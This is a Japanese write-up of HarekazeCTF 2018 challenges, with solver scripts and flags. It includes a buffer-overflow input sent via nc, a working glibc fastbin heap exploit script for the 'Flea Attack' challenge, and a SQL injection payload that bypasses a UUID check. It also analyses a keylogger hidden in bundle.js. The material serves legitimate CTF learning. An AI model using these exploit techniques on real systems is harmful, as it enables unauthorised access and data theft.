HarekazeCTF 2018 Write-up

[Harekaze CTF 2018 \- Harekaze](https://harekaze.com/ctf-jp.html)

チームsuperflipは1457点で21位。簡単な問題が多め。解けない問題ばかりだとつらいのでありがたい。

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/a61ed361-7f3b-eebd-41cf-bfe9b763c735.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/a61ed361-7f3b-eebd-41cf-bfe9b763c735.png" width="320"></a> <a href="https://qiita-image-store.s3.amazonaws.com/0/25276/8d72fb10-1d86-8006-1ec1-f2b0ee3152ed.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/8d72fb10-1d86-8006-1ec1-f2b0ee3152ed.png" width="320"></a>

## welcome flag (WarmUp, 10 points)

`HarekazeCTF{Welcome to the Harekaze CTF!}`

## easy problem (WarmUp, 30 points)

ROT13と問題文にも書かれている。

```shell-session
$ python -c 'print "UnerxnmrPGS{Uryyb, jbeyq!}".decode("rot13")'
HarekazeCTF{Hello, world!}
```

`HarekazeCTF{Hello, world!}`

## Obfuscated Password Checker (Web, 50 points)

難読化されたJavaScriptのパスワードチェッカー。開発者ツールで送信ボタンのイベントハンドラを探して、ブレークポイントを張ったらパスワードが入っている変数があった。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/9d805c42-298b-df06-874e-d7831f708720.png)

`HarekazeCTF{j4v4scr1pt-0bfusc4t0r_1s_tsur41}`

## div N (Rev, 90 points)

`return x / N;` というCのコードをコンパイルしたら以下の機械語になった。`N`は何でしょう？　という問題。

```
   0:	48 89 f8             	mov    %rdi,%rax
   3:	48 ba 01 0d 1a 82 9a 	movabs $0x49ea309a821a0d01,%rdx
   a:	30 ea 49 
   d:	48 c1 ff 3f          	sar    $0x3f,%rdi
  11:	48 f7 ea             	imul   %rdx
  14:	48 c1 fa 30          	sar    $0x30,%rdx
  18:	48 89 d0             	mov    %rdx,%rax
  1b:	48 29 f8             	sub    %rdi,%rax
  1e:	c3                   	retq   
$ echo “HarekazeCTF{$N}” > /dev/null
```
除算より乗算のほうが高速なので、コンパイラは定数での除算を、逆数を掛ける乗算に直す。`%rdx`には乗算結果の上位64ビットが入り、これを`0x30`ビット右シフトしている。2<sup>0x70</sup>/0x49ea309a821a0d01 = 974873638438445。+1したら正解だった。

`HarekazeCTF{974873638438446}`

## gacha (Crypto, 100 points)

`WIN 💎`か`LOSE 💩`を公開鍵暗号で暗号化して送ってくる。こちらがどれかを選ぶと、正解かどうかとともに秘密鍵を送ってくる。「サーバー側でズルをしていないことが分かるでしょ？」という趣旨。

出題時点で公開鍵は送られてきているので、`WIN 💎`と`LOSE 💩`を暗号化して、暗号文がどちらと一致するかを調べれば良い。平文をそのまま公開鍵暗号化してはいけない。

```python
# coding: utf-8

from Crypto.Util.number import *
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("problem.harekaze.com", 30214))

def read():
  t = ""
  while True:
    c = s.recv(1)
    if c=="\n":
      break
    t += c
  return t

print read() # WELCOME
print read() # to encure

for _ in range(30):
  print read() #
  print read() # round
  ans = -1
  for i in range(3):
    l = read()
    n,e,c = eval(l[l.find("("):])
    win = bytes_to_long(u"WIN 💎".encode("utf-8"))
    if pow(win, e, n)==c:
      ans = i+1
  print read() # select
  s.send("%d\n" % ans)
  print read() # result
  print read() # win/lose
  print read() # keys
  for _ in range(3):
    print read() # key

print read() # flag
```

問題文にリンクが貼られているKOFの裁判、そういえばどうなったのだろう？と思ってブログを見たらまだ決着が付いていなかった。

[ふぁんふぁーれ！](https://fanfare-days.net/)

`HarekazeCTF{92f4187adbbafd3c592bfdfa8689de3be26b770d}`

## Lost_data (For + Misc, 100 points)

解けなかった。

`HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_xxxxx}`まで出てきて、「`?DF?`は`CDFS`？　`T?`は何だろう？」となっていたけど、`xxxxx`に`FAT16`を入れるだけで良かったの……。

[HarekazeCTF2018 Lost\_data \- hiww\_備忘録](http://hiww.hatenablog.com/entry/2018/02/11/HarekazeCTF2018_Lost_data)

## grom (For + Misc, 100 points)

私が解いた中では正解者数が一番少なくて6人。5 MBのVerilogのソースコード。

`grom`というモジュールがあって、`clk`を受け取り`fin`を返す。ただ、`fin`は終了したことを知らせるだけのよう。変数名が`f_`から始まる7個の変数はどこにも出力されていないし、他の変数が全てこれに繋がっている感じなので、この変数の値を見れば良さそう。Verilogの開発環境はアンインストールしてしまったから、Pythonでシミュレートした。

ソフトウェアのプログラミング言語とたいして変わらないが、`<=`という代入に注意が必要。`always @(posedge en) x <= y; z <= x;`は信号`en`の値が`0`から`1`に変化したら、`x`に`y`を、`z`に`x`を代入する。このとき、`z`に代入される値は信号が`0`のときの`x`の値であって、`y`の値にはならない。

問題の最後のほうに似たようなモジュールがあるけれど、この2個は意味が異なる。`m_de213ed0a801c2b6e7c24720bcf77d06`では、`c`の値は2クロック前の`a & b`の値となる。

```verilog
module m_080dff705050b75f7e7b8427e914c4b8 (input en, input a, input b, output c);
  reg c;
  always @( posedge en ) c <= a & b;
endmodule

module m_de213ed0a801c2b6e7c24720bcf77d06 (input en, input a, input b, output c);
  reg aa;
  reg bb;
  reg r_c;
  always @( posedge en ) begin
    aa <= a;
    bb <= b;
    r_c <= aa & bb;
  end
  assign c = r_c;
endmodule
```

```python
import re

S = []
V = {}
E1 = []
E2 = []
E3 = []

for l in open("grom.v"):
  m = re.match(r"  reg \[281-1:0\] (s_[0-9a-f]+) = 281'h([0-9a-f]+);", l)
  if m:
    S += [m.group(1)]
    V[m.group(1)] = int(m.group(2), 16)
  m = re.match(r"    (r_[0-9a-f]+) <= (w_[0-9a-f]+);", l)
  if m:
    E1 += [(m.group(1), m.group(2))]
    V[m.group(1)] = 0
    V[m.group(2)] = 0
  m = re.match(r"    (r_[0-9a-f]+) <= (s_[0-9a-f]+)\[0\];", l)
  if m:
    E2 += [(m.group(1), m.group(2))]
    V[m.group(1)] = 0
  m = re.match(r"(m_[0-9a-f]+) i_[0-9a-f]+\(\.en\(en\), \.a\((r_[0-9a-f]+)\), \.b\((r_[0-9a-f]+)\), \.c\((w_[0-9a-f]+)\)\);", l)
  if m:
    E3 += [(m.group(1), m.group(2), m.group(3), m.group(4))]
    V[m.group(2)] = 0
    V[m.group(3)] = 0
    V[m.group(4)] = 0

F = [
  "r_1c64226f0a56c27ec79ed1808ca7d930",
  "r_861ee0de7438080e76c0f5ac0e5b33e1",
  "r_e84f72e32e41777c98cc461d4c56a9af",
  "r_cb848ecd098f71de6545905789344aad",
  "r_e743e2295135651ee98d2192d8cd2676",
  "r_80cc4bac5c989fb60aeb39915b283d3c",
  "r_720e72e5ca056093756b3987b14fe700",
]
  
delay = []

for _ in range(300):
  old = {}
  for k in V:
    old[k] = V[k]

  for d in delay:
    V[d[0]] = d[1]
  delay = []

  for e in E3:
    if False:
      pass
    elif e[0]=="m_080dff705050b75f7e7b8427e914c4b8":
      V[e[3]] = old[e[1]] & old[e[2]]
    elif e[0]=="m_861cf77c15adc42769c0afb7690a5b51":
      V[e[3]] = old[e[1]] | old[e[2]]
    elif e[0]=="m_c56c7fa9d959ee9019eb4f00a2a78815":
      V[e[3]] = old[e[1]] ^ old[e[2]]
    elif e[0]=="m_de213ed0a801c2b6e7c24720bcf77d06":
      delay += [(e[3], old[e[1]] & old[e[2]])]
    elif e[0]=="m_f62643c44848a7717bd50b3508dd6320":
      delay += [(e[3], old[e[1]] | old[e[2]])]
    elif e[0]=="m_20f50981ecea610cdbb5b264be20dfae":
      delay += [(e[3], old[e[1]] ^ old[e[2]])]
  for e in E2:
    V[e[0]] = old[e[1]]&1
  for s in S:
    V[s] = old[s]>>1
  for e in E1:
    V[e[0]] = old[e[1]]

  print "".join(" *"[V[f]] for f in F)[::-1]
```

`f_???`の値を表示してみると、こんな感じでフラグが出てきた。

```
:
       
*      
*      
*      
***    
    *  
 *  * *
       
       
*******
   *   
   *   
*******
       
       
       
 *     
* * *  
* * *  
****   
       
       
       
****   
  *    
   *   
   *   
       
       
       
 ***   
* * *  
* * *  
  **   
   
 :    
```

PokemonGOのこのイベントはすっかり忘れていて、起きたら終わっていた。つらい。

[ポケモンGOで『なみのりピカチュウ』大量発生イベント。1月20日\(土\) 正午から3時間限定！ \- Engadget 日本版](http://japanese.engadget.com/2018/01/12/go-1-20-3/)

`HarekazeCTF{1v3_G077a_5urf1nG_P!k4cI-Iu}`

## Fight (Crypto, 100 points)

乱数とのXORで暗号化するプログラム。乱数のシードの計算もそのまま問題に含まれているので、もう一度xorするだけ……のはずが、この`gen_seed`という関数が終わらない。`n`の値が`4529255040439033800342855653030016000`だった。

```python3
def gen_seed(n):
  seed = 0
  for k in xrange(1,n):
    if gcd(k,n)==1:
      seed += 1
  return seed
```

`gen_seed`では`n`未満の`n`と互いに素な整数の個数を計算している。これは[オイラーのφ関数](https://ja.wikipedia.org/wiki/%E3%82%AA%E3%82%A4%E3%83%A9%E3%83%BC%E3%81%AE%CF%86%E9%96%A2%E6%95%B0)。Wikipediaに素因数から計算する式が載っている。

```python3
import random
import base64

def xor(msg, key):
    return bytes([ch1^ch2 for ch1, ch2 in zip(msg, key)])

def gcd(x, y):
  while y != 0:
    r = x % y
    x = y
    y = r
  return x

def gen_seed(n):
  seed = 0
  for k in xrange(1,n):
    if gcd(k,n)==1:
      seed += 1
  return seed

def gen_seed2(n):
  seed = 1
  p = 2
  while n>1:
    c = 0
    while n%p==0:
      n //= p
      c += 1
    if c>0:
      seed *= p**c - p**(c-1)
    p += 1
  return seed

s = 1
for p in b"Enjoy_HarekazeCTF!!":
  s *= p
seed = gen_seed2(s)
random.seed(str(seed).rstrip("0"))

enc = base64.b64decode("7XDZk9F4ZI5WpcFOfej3Dbau3yc1kxUgqmRCPMkzgyYFGjsRJF9aMaLHyDU=")
key = bytes([random.randint(0,255) for _ in enc])
flag = xor(enc, key)
print(flag)
```

`HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}`

## WE'RE WATCHING YOU! (Misc + OSINT, 100 points)

解けなかった。

Torの中で動いているサービスの管理者を突き止めよという問題。

TorはTorのネットワークの中で、身元を伏せたままサーバーを立てられる。ただ、普通のWebサービスでは（アクセスするのに必要だから当然だが）隠す必要の無いIPアドレスなどを隠す必要がある。うっかりするとエラー画面とかに出てしまうらしい。そういう問題だと思うのだが……。

## Harekaze Farm (Pwn, 100 points)

動物の名前を3匹入力すると、動物がそれぞれの声で鳴く。`isoroku`という動物がフラグを喋るらしい。ただし、最初に動物が有効な名前かどうかを確認してからバッファに入れている。`isoroku`はこの確認を通らない。

動物の名前を入れるバッファが8バイトなのに、16バイト読みこんでいるので、1匹目に`cow\0\0\0\0\0isoroku`を入力すれば2匹目のバッファに`isoroku`が入る。名前の確認は`strcmp`なので通る。

```shell-session
$ printf "cow\0\0\0\0\0isoroku\nhoge\ncow\n" | nc problem.harekaze.com 20328
Welcome to Harekaze farm
Input a name of your favorite animal: Input a name of your favorite animal: Input a name of your favorite animal: Begin to parade!
cow: "moo" "moo"
isoroku: "flag is here" "flag is here"
HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}
```

`HarekazeCTF{7h1s_i5_V3ry_B3ginning_BoF}`

## Unnormalized-form Data (Misc, 127 points)

SQLファイル。添付されているファイルの通りにPostgreSQLに流し込むと、

```shell-session
$ psql -U postgres -d unf -c "SELECT FLAG()"
     flag
---------------
 HarekazeCTF{}
(1 row)
```

となった。中を読むと、`rel`というテーブルを40回辿って、その結果を`dic`テーブルから引くということをしている。SQL、再帰処理なんてできたのか。SQLのまま色々試すのは大変なので、次のようにPythonに直した。

```python
dic = [
('{d,B,7}','H'),
('{b,A,4}','.'),
  :
('{c,G,3}','/'),
]

rel = [
('{b,C,5}','{c,A,6}'),
('{d,D,3}','{a,D,2}'),
  :
('{a,C,5}','{d,A,4}'),
]

org = [(0,1,'{a,B,4}'), (0,2,'{d,B,7}'), …, (0,29,'{d,C,6}')]

flag = ""
for o in org:
  t = [o[2]]
  for i in range(40):
    p = t
    t = []
    for r in rel:
      if r[0] in p:
        t += [r[1]]
  f = "?"
  for d in dic:
    if d[0] in t:
      f = d[1]
  flag += f
print flag
```

実行すると`HarekazeCTF?Th1rtee?_0rphans?`となったので、辿れなかった`?`を埋めたら通った。良く分からない。なぜPostgreSQLとPythonで結果が違うのだろう。

`HarekazeCTF{Th1rteen_0rphans}`

## 15 Puzzle (Rev, 200 points)

.NET製の15パズル。1000問解くとフラグが出てくる。[dnSpy](https://github.com/0xd4d/dnSpy)ならば、逆コンパイルだけではなく、実行中に変数を書き換えたり、プログラムを修正してコンパイルし直したりできる。

難読化もされていないし簡単かと思いきや、意外と面倒だった。フラグの復号には、問題生成と同じ乱数を使い回しているので、解いた回数を書き換えるだけではダメで1,000回問題を生成する必要がある。解けたかどうかの判定を常に`true`にしようとしたけど、この乱数の初期化にはプログラムの本体から生成した値が使われている。プログラムを書き換えるとシード値も変わってしまう。

まずは書き換えずにプログラムを動かしてシード値を取得し、乱数初期化にこのシード値を使うようにと、問題生成部分を1,000回ループするようにプログラムを書き換えた。シード値を取得するために`Random`のコンストラクタにブレークポイントを仕掛けたら、問題のコードから呼び出される前にライブラリ中から（？）1回呼び出されていてハマった。

`HarekazeCTF{.NET_4pp_c4n_3451ly_b3_d3c0mp1l3d}`

## Logger (Rev + Net, 200 points)

> 誰かにパスワードを盗まれました…(´・ω・｀)

とのこと（´・ω・） ｶﾜｲｿｽ

問題のpcapからファイルを取り出すと、bundle.jsの末尾にキーロガーが付いていて、WebSocketでキータイプをBase58で符号化して送信している。Base58のテーブルは最初は固定で、`navigator.userAgent`を送信し、このUAを使ってテーブルをシャッフルして、以降はこのテーブルを使う。

```python
def decode(s, t):
  x = 0
  for a in s:
    x = x*58+t.index(a)
  m = ""
  while x>0:
    m += chr(x%256)
    x /= 256
  return m[::-1]

print decode("T4N8jgYZ5ChvnMJyKyAPCvwAcAmjAhVLt12DeE6SXJQxKsXyv3HL2xKXgASRLHpkDDYRxYQVJt1rNGH6KxyWkkK2gQep84LG33j5N1fzFaxDeXmKfcargKYanYq66KKs9U2XTWEerSwBMCPbsj7faMHQzSkNH", "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp")

t2 = "Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq"

T = [
"iCmUsu3sWAgt1DLDTPiCsMkiJ",
"iTS5kqhhN6dZgQfzeXgG7yYr5",
  :
"yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH",
]

for t in T:
  print decode(t, t2).split()[1],
print
```

テーブルをシャッフルする処理はキーロガー中のJavaScriptを使った。WebSocketから1パケットごとに通信内容をコピペして泣きそうになった。何か楽な方法は無いのだろうか。

`HarekazeCTF{7r1663r_h4ppy_61rl}`

## Round and Round (Crypto, 200 points)

RSA暗号。`p`と`q`から次のように計算した`p1`と`q1`が与えられる。

```python
p1 = (sum([pow(p-1, i, p) for i in range(q)]))
q1 = (sum([pow(q-1, i, q) for i in range(p)]))
```

`pow(p-1, i, p)`は、$(p-1)^2\equiv p^2-2p+1 \equiv 1 \mod p$だから、1, p, 1, p, …となる。`p1 = p*(q-1)/2+1`。`q1`も同様。これはmodの計算ではないので素直に解けば`p`と`q`が出てくる。

```python
from Crypto.Util.number import *
from gmpy2 import *

enc = 15507598298834817042463704681892573844935925207353671096676527782423920390858333417805014479686241766827314370902570869063203100704151010294869728739155779685640415815492312661653450808873691693721178331336833872996692091804443257630828512131569609704473214724551132715672202671586891813211353984388741035474991608860773895778988812691240069777435969326282770350038882767450912160134013566175657336041694882842590560100668789803775001750959648059363722039014522592751510672658328196379883088392541680852726136345115484827400366869810045573176782889745710174383221427352027041590910694360773085666697865554456816396551
p1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745572068651194660027408008664437845821585312159573051601404228506302601502000674242923654458940017954149007122396560597908895703129094329414813271877228441216708678152764783888299324278380566426363579192681667090193538271960774609959694372731502799584057204257039655016058403786035676376493785696595207371994520
q1 = 14606124773267989759790608461455191496412830491696356154942727371283685352374696106605522295947073718389291445222948819019827919548861779448943538887273671755720708995173224464135442610773913398114765000584117906488005860577777765761976598659759965848699728860137999472734199231263583504465555230926206555745568763680874120108583912617489933976894172558366109559645634758298286470207143481537561897150407972412540709976696855267154744423609260252738825337344339874487812781362826063927023814123654794249583090654283919689841700775405866650720124813397785666726161029434903581762204459888078943696756054152989895680616

p2 = (p1-1)*2
q2 = (q1-1)*2
p = 0
b = 2**1024
while b>0:
  t = p+b
  if t*(t+p2-q2-1) <= p2:
    p = t
  b /= 2
q = p + p2 - q2
d = invert(65537, (p-1)*(q-1))
print hex(pow(enc, d, p*q))[2:].decode("hex")
```

`HarekazeCTF{d1d_y0u_7ry_b1n4ry_se4rch?}`

## Flea Attack (Pwn, 200)

コンテストが終わってから、

<blockquote class="twitter-tweet" data-conversation="none" data-lang="ja"><p lang="ja" dir="ltr">とても惜しいです！<br>実は最後の改行をなくす方法があるので、よかったらもうちょっと試してみてください。</p>&mdash; I&#39;m the Exploitourist. (@megumish) <a href="https://twitter.com/megumish/status/962574959783522306?ref_src=twsrc%5Etfw">2018年2月11日</a></blockquote>

とのヒントをもらって解いた。

フラグは起動時にメモリに読みこまれる。起動時にフラグの前の領域にコメントを書き込むことができる。後は以下の操作を選んで繰り返す。

- サイズを指定して`malloc`を実行して、指定した値を書き込む
  - 確保したアドレスと、書き込んだ値が（`write`ではなく`printf`で）返ってくる
- アドレスを指定して`free`を実行する

`malloc`や`free`の挙動を利用した攻撃は、↓の資料に書かれている

- [katagaitai CTF勉強会 \#1 pwnables編 \- DEFCON CTF 2014 pwn1 heap / katagaitai CTF \#1 // Speaker Deck](https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)
- [glibc malloc exploit techniques \- ももいろテクノロジー](http://inaz2.hatenablog.com/entry/2016/10/13/203019)
- [heap exploitationテク走り書き \- 生きたい](http://potetisensei.hatenablog.com/entry/2016/12/10/034804)

フラグの直前のアドレスを`malloc`の返り値にすることができれば、フラグの領域までを適当な文字列で埋めて、フラグを表示させることができる。起動時に書き込むコメントを、`malloc`で確保したメモリの状態にして解放し、再確保すれば良さそうなものだが、これができない。コメントは改行とNUL文字を含むことができず、最後に改行とNUL文字が追加される。コメントを0x5fバイトにすると末尾に改行が追加されないが、`free`に渡すアドレスは16バイト境界に揃えないといけないので、ずらすことができない。

`malloc`が返す値は16バイト境界に揃える必要が無かった。`malloc_chunk::fd`にフラグ前の領域を指定した状態で解放し、この部分を再確保させれば良い。

```python
from socket import *
from time import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("problem.harekaze.com", 20175))

def read(last):
  t = ""
  while True:
    c = s.recv(1)
    if c=="":
      print t
      exit(0)
    if c==last:
      return t
    t += c

print read(":") # Some comment this note:
s.send("a"*0x5e+"\x31")

def menu():
  print read("\n") # 1. Add name
  print read("\n") # 2. Delete name
  print read("\n") # 3. Exit
  print read(" ") # >

def add(name):
  menu()
  s.send("1\n")
  print read(" ") # Size:
  s.send("%d\n"%len(name))
  print read(" ") # Name:
  s.send(name)
  print read("\n") # Done!
  print read("\n") # Name: ???
  addr = read("\n") # Addr: ???
  print addr
  return int(addr.split()[1], 16)

def delete(addr):
  menu()
  s.send("2\n")
  print read(" ") # Addr:
  s.send("%x "%addr)
  print read("\n") # Done!

addr = add(pack("<QQ", 0, 0x31)+"a"*0x20)
delete(addr+0x10)
delete(addr)
add(pack("<QQQQ", 0, 0x31, 0x204056, 0)+"a"*0x10)
add("a"*0x20)
add("a"*0x1a)
```

1. 0x20405eを`malloc_chunk::size`にすることを想定して、0x31を書き込む
2. 0x30バイトのメモリを確保して、最初の2ワードを`0`と`0x31`にする
  - このアドレスを`addr`とする
3. `addr+0x10`を解放する
  - `addr+0x10`の周辺は0x20バイトのメモリを確保した状態になっている
4. `addr`を解放して再確保し、`addr+0x10`の`fd`に`0x204056`を書き込む
5. 0x20バイトのメモリを確保する
  - `addr+0x10`が返ってくる
  - ここで`addr+0x10`がfastbinsから外れ、`addr+0x10`の`fd`である`0x204056`がfastbinsに繋がれる
6. 0x20バイトのメモリを確保する
  - `0x204066`が返ってくる
  - この部分をNUL文字を含まない文字列で埋めれば、後ろにフラグが付いて表示される

`HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld}`

## gacha 2 (Crypto, 350 points)

解けなかった。

今度は、`WIN 💎`と`LOSE 💩`の後にランダムなデータが付いている。このランダムなデータも勝ち負けと一緒に渡されるから、乱数の内部状態推測だろうか。1回分だけだと足りないし、ランダムなデータは自分が選んだ選択肢のものだけなので間が空くし、面倒そう。

こういう一度倒した相手が強くなって帰ってくる問題が好きだけど、1と2の差分を見ると、1の解法が分かってしまうw

追記

良く見たら、選択肢全部のランダムデータが降ってきていた。

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">Twitter眺めていてもwriteupが見当たらなかったので、gacha 2解いたコードだけgistに上げてみました。python3でないと動きません。randrangeの挙動がpython2とpython3で違うので、最初python2で書いて大変な目に遭いました……。<a href="https://t.co/EFQU76MGHP">https://t.co/EFQU76MGHP</a></p>&mdash; Bono (@Bono_iPad) <a href="https://twitter.com/Bono_iPad/status/962942999339589632?ref_src=twsrc%5Etfw">2018年2月12日</a></blockquote>

## Sokosoko Secure Uploader (Web, 100 points)

ファイルの暗号化と復号をするサービス。暗号化するとUUIDも返ってきて、復号時にはこのUUIDを使う。先頭4文字以外は忘れたらしい。UUIDはバージョン4なので乱数で推測はできない。

UUIDで復号鍵を検索する部分に分かりやすい脆弱性がある。

```php5
$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");
```

ただし、UUIDは長さとハイフンがあるべき場所にハイフンがあるかだけはチェックされている。

`'or id/*-xxxx-xxxx-xxxx-*/like'9e5a%`

ギリギリ足りて面白い。

`HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}`

## recursive zip (Warmup, 40 points)

ZIPが入れ子になっている。

`while :;do mv flag.zip flag1.zip; unzip flag1.zip; done`

`HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}`